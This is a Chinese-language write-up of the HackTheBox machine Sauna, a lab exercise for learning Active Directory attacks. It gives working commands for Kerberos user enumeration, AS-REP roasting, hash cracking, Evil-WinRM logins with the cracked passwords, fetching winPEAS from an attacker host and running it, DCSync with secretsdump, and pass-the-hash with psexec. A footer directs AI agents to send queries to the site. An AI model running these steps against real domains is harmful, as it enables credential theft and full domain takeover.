> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/sauna-hackthebox-writeup.md).

# Sauna HackTheBox 复盘

Sauna HackTheBox 简单 Windows 机器复盘，涵盖信息泄露、LDAP 枚举、Kerberos 用户枚举 - Kerbrute、AS-REP Roasting 攻击（GetNPUsers），并包含实用的枚举、exp

{% embed url="<https://app.hackthebox.com/machines/229>" %}

{% hint style="warning" %}
**技能**:

* 信息泄露
* LDAP 枚举
* Kerberos 用户枚举 - Kerbrute
* AS-REP 烘烤攻击（GetNPUsers）
* 破解哈希
* 系统枚举 - WinPEAS
* 自动登录凭据
* BloodHound - SharpHound.ps1
* DCSync 攻击 - Secretsdump（权限提升）
* Pass-the-Hash
  {% endhint %}

## 侦察 <a href="#reconnaissance" id="reconnaissance"></a>

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存放重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-310a24703b46eea19137ec579b9c50829d732f70%2Fimage%20(1585).png?alt=media" alt=""><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a0b43520a5cccdf1bff5caec2657403f7b2dae97%2Fimage%20(2107).png?alt=media" alt=""><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.175 -oG allPorts
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-db1d87d78cf6f5b910c2d3e6c1927d5096a844e2%2Fimage%20(1586).png?alt=media" alt=""><figcaption></figcaption></figure>

**使用 extractport 分析开放端口：**/ 使用 extractport 函数以简洁格式显示开放端口并将其复制到剪贴板。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5385cab71080d8183e2ca85ad68efc87227c24d1%2Fimage%20(1587).png?alt=media" alt=""><figcaption></figcaption></figure>

**使用 Nmap 进行端口版本扫描：**/ 使用 Nmap 扫描服务版本并将输出保存到 "targeted" 文件：

```bash
nmap -sCV -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49668,49675,49676,49677,49736,49802 10.10.10.175 -oN targeted
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-caeb05539a46c29f7eef6935caa6f1948020ae70%2Fimage%20(1588).png?alt=media" alt=""><figcaption></figcaption></figure>

## **枚举与利用：**

### **SMB 侦察：**

使用 CrackMapExec 识别操作系统

```bash
crackmapexec smb 10.10.10.175
```

<div data-full-width="true"><figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-af7bbacef9c95a619c817d43f8e7177496d24782%2Fimage%20(1589).png?alt=media" alt=""><figcaption></figcaption></figure></div>

要通过 DNS 将域名解析为 IP 地址，会将与其 IP 地址关联的域名插入到 `/etc/hosts` 文件。<br>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3f283ab64ecc0b715bf1df0463ba9df6c95b9c39%2Fimage%20(1590).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 在网络中探索 SMB 共享以识别共享资源，但没有结果。

```bash
crackmapexec smb 10.10.10.175 --shares
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-09ebfbfd4336766e7cdcde774d82c47e2d0509df%2Fimage%20(1591).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
smbmap -H 10.10.10.175 -u 'null'
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a643f5fecea9034deaa3b37883484fc26e6facf0%2Fimage%20(1592).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
smbclient -L 10.10.10.175 -N
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-64e5f49dcd6d510d3edb53fcfb61b51232b68034%2Fimage%20(1593).png?alt=media" alt=""><figcaption></figcaption></figure>

### **RPC 侦察：**

使用 rpcclient 与 CPP 服务交互并收集资源信息

```bash
rpcclient -U "" 10.10.10.175 -N
enumdomusers
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4a304257295082b83ac567af1f37a65a4184332c%2Fimage%20(1594).png?alt=media" alt=""><figcaption></figcaption></figure>

### **LDAP 侦察：**

{% embed url="<https://book.hacktricks.xyz/network-services-pentesting/pentesting-ldap#ldapsearch>" %}

#### 分析 LDAP 信息以获取域结构和用户的详细信息。

```bash
ldapsearch -x -H ldap://10.10.10.175 -s base namingcontexts
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7693fc0d7faa3efcfec825d3530ac90ba336e39d%2Fimage%20(1595).png?alt=media" alt=""><figcaption></figcaption></figure>

**LDAP 信息分析**

分析域结构和用户的详细信息。

```bash
ldapsearch -x -H ldap://10.10.10.175 -b 'DC=EGOTISTICAL-BANK,DC=LOCAL
```

**LDAP 用户筛选**

筛选出仅包含 LDAP 用户。

```bash
ldapsearch -x -H ldap://10.10.11.174 -b 'DC=EGOTISTICAL-BANK,DC=LOCAL' | grep "dn: CN=" | sed 's/dn: CN=//;s/,DC=EGOTISTICAL-BANK,DC=LOCAL//'
```

<div data-full-width="true"><figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fc5fbff793904922b072c824e04af25214a0ea04%2Fimage%20(1596).png?alt=media" alt=""><figcaption></figcaption></figure></div>

### 用户列表：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fea84d7fa4e497af6c17da5d5571c444b6726ceb%2Fimage%20(1597).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 创建一个 `users.txt` 包含潜在用户名的文件。

```
hugosmith
h.smith 
hugo.smith
hsmith

fergussmith
f.smith 
fergus.smith 
fsmith

hugobear
h.bear
hugo.bear
hbear

stevenkerb
s.kerb
steven.kerb
skerb

shauncoins
s.coins
shaun.coins
scoins

bowietaylor
b.taylor
bowie.taylor
btaylor

sophiedriver
s.driver
sophie.driver
sdriver
```

### **通过 Kerberos 获取用户列表**

使用 `kerbrute` 以列出有效用户。

```bash
./kerbrute userenum -d egotistical-bank.local --dc 10.10.10.175 users.txt
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-28b3ee1bb1aedfe94570b3145a047ad2d5c5fcee%2Fimage%20(1600).png?alt=media" alt=""><figcaption></figcaption></figure>

### **通过 Impacket 获取用户列表**

使用 `impacket-GetNPUsers` 以列出没有密码的有效用户。

```bash
impacket-GetNPUsers egotistical-bank.local/ -no-pass -usersfile users.txt
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0f30648a83eaf6b67bf4f6a5bd5e947b5f820157%2Fimage%20(1601).png?alt=media" alt=""><figcaption></figcaption></figure>

### 暴力破解攻击：

使用 John 破解恢复的哈希。

<pre class="language-bash"><code class="lang-bash"><strong>john --wordlist=/usr/share/wordlists/rockyou.txt hash
</strong></code></pre>

<div data-full-width="true"><figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c4e0bdfc9350f7267488c07b3ebddcfc70fdeabc%2Fimage%20(1602).png?alt=media" alt=""><figcaption></figcaption></figure></div>

#### 连接与远程控制

使用 WinRM 进行远程连接。

```bash
crackmapexec smb 10.10.10.175 -u 'fsmith' -p 'Thestrokes23'
```

#### 它能工作，但如果没有 pwned 标记，就无法通过 WinRM 连接。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ca43869dc4b550554dc082e3edff74208c89c4a8%2Fimage%20(1603).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fe2cb3a05e5f3688972f66e9e46060cc1299334c%2Fimage%20(1604).png?alt=media" alt=""><figcaption></figcaption></figure>

在此示例中，连接是可行的，因为用户 fsmith 是 /\*Remote Management Users 组的成员

```bash
crackmapexec winrm 10.10.10.175 -u 'fsmith' -p 'Thestrokes23'
```

<div data-full-width="true"><figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2abacec7464bd812b568c9c74daa81a1b9b9aa8d%2Fimage%20(1605).png?alt=media" alt=""><figcaption></figcaption></figure></div>

#### **使用 Evil-WinRM 登录**

使用 Evil-WinRM 通过 WinRM 建立交互式连接。

```bash
evil-winrm -i 10.10.10.175 -u 'fsmith' -p 'Thestrokes23'
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1a99226db41358e32312403121b1f233df07adc6%2Fimage%20(1584).png?alt=media" alt=""><figcaption></figcaption></figure>

## 权限提升：

#### **特殊权限检查：**

使用 `whoami /priv` 用于检查特殊权限。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f93fa67ecb09f31aefe548796ebd5f70c950e225%2Fimage%20(2108).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **搜索新用户**

使用 `net user` 用于搜索新用户。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-af7db18c8fd5c8a9417e1178ffa85b24f46a237a%2Fimage%20(2109).png?alt=media" alt=""><figcaption></figcaption></figure>

**搜索用户 "svc/ loanmgr" 的凭据**

### **使用** winPEAS.exe

{% embed url="<https://github.com/carlospolop/PEASS-ng/releases/tag/20220717>" %}

下载并运行 winPEAS 侦察工具

```bash
Invoke-WebRequest -Uri "http://10.10.14.4:445/winPEASx64.exe" -OutFile "winPEAS.exe"
./winPEAS.exe
```

<div data-full-width="true"><figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a31684b5c7d6126575256e88098446cbee50ecaa%2Fimage%20(2110).png?alt=media" alt=""><figcaption></figcaption></figure></div>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-55f39baccc22d7c19e2ad6b99f36f9638d18ba3d%2Fimage%20(2111).png?alt=media" alt=""><figcaption></figcaption></figure>

### 使用 crackmapexec 验证找到的 ID：

已找到用户的自动登录凭据 `svc_loanmgr` ，其密码为

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-09b16aa8e0252842a0203b3b515dc47dca938576%2Fimage%20(2112).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 使用 crackmapexec 验证密码是否正确。

```bash
crackmapexec winrm 10.10.10.175 -u 'svc_loanmgr' -p 'Moneymakestheworldgoround!'
```

<div data-full-width="true"><figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6cac348f64f34f7147d36dbb979684300e4d7bec%2Fimage%20(2115).png?alt=media" alt=""><figcaption></figcaption></figure></div>

### 使用 "svc/ loanmgr" ID 连接：

```bash
evil-winrm -i 10.10.10.175 -u 'svc_loanmgr' -p 'Moneymakestheworldgoround!'
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-30d432b3473443338c1fd041b985b3308ee079bb%2Fimage%20(2116).png?alt=media" alt=""><figcaption></figcaption></figure>

## 使用 BloodHound 列出域：

<details>

<summary>安装 BloodHound：</summary>

```bash
apt install neo4j bloodhound
neo4j console &> /dev/null & disown
lsof -i:7474
```

#### 使用 neo4j:neo4j 凭据连接 BloodHound。

<img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ef9463a37fbf4c95e7d8c5b54b5719e9a0212f79%2Fimage%20(2117).png?alt=media" alt="" data-size="original">

#### 启动 BloodHound。

```bash
bloodhound &> /dev/null & disown
```

<img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4cbcd2ee0951015419e37b8c5659c57d4a2f16c7%2Fimage%20(2118).png?alt=media" alt="" data-size="original">

</details>

### 使用 SharpHound.ps1 收集信息

{% embed url="<https://github.com/puckiestyle/powershell/blob/master/SharpHound.ps1>" %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e070f9cde080c37805c4e3ce02ee3d5246ef8432%2Fimage%20(2119).png?alt=media" alt=""><figcaption></figcaption></figure>

### 将收集到的数据传输到 Linux 并导入 BloodHound

#### 创建一个包含收集结果的 .zip 文件。

```bash
Import-Module ./sharhound.ps1
Invoke-BloodHound -CollectionMethod All
```

#### 将 zip 文件从 Windows 主机下载到 Linux。

```powershell
download PS C:/windows/temp/privesc/file.zip file.zip
```

#### 将 zip 文件导入 BloodHound。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-10d80ac4c967e7330846a819406ba948417a1b6a%2Fimage%20(1578).png?alt=media" alt=""><figcaption></figcaption></figure>

### 分析与操作：

#### 筛选到管理权限的最短路径

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2c5100e71e29b06f16fe8170302cd0f2cebed1f2%2Fimage%20(1579).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 该工具表明可以执行 DCSync 攻击。

<div data-full-width="true"><figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6cd7c25059eb82aaade3a7b64307dcdbed29905f%2Fimage%20(1580).png?alt=media" alt=""><figcaption></figcaption></figure></div>

## DCSync 攻击漏洞：

{% embed url="<https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/dcsync>" %}

#### 使用 secretsdump 从管理员用户获取 NT 哈希。

```bash
impacket-secretsdump EGOTISTICAL-BANK.LOCAL/svc_loanmgr@10.10.10.175
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9de39224ffb84c9fb82d84c0a91084614855a467%2Fimage%20(1581).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 使用 psexec 利用 NT 哈希以管理员身份运行 cmd。

```bash
impacket-psexec EGOTISTICAL-BANK.LOCAL/Administrator@10.10.10.175 cmd.exe -hashes :823452073d75b9d1cf70ebdf86c7f98e
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-68e562b1ff81b0ea81b369443b63ff2bfa135317%2Fimage%20(1582).png?alt=media" alt=""><figcaption></figcaption></figure>

### 最终 Flag :)

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3a5d344ceda16942038635f9a7c21f5cc9e8982f%2Fimage%20(1583).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-86552d857db97a01a4afebe8a7ad592783983032%2Fimage%20(1412).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/sauna-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
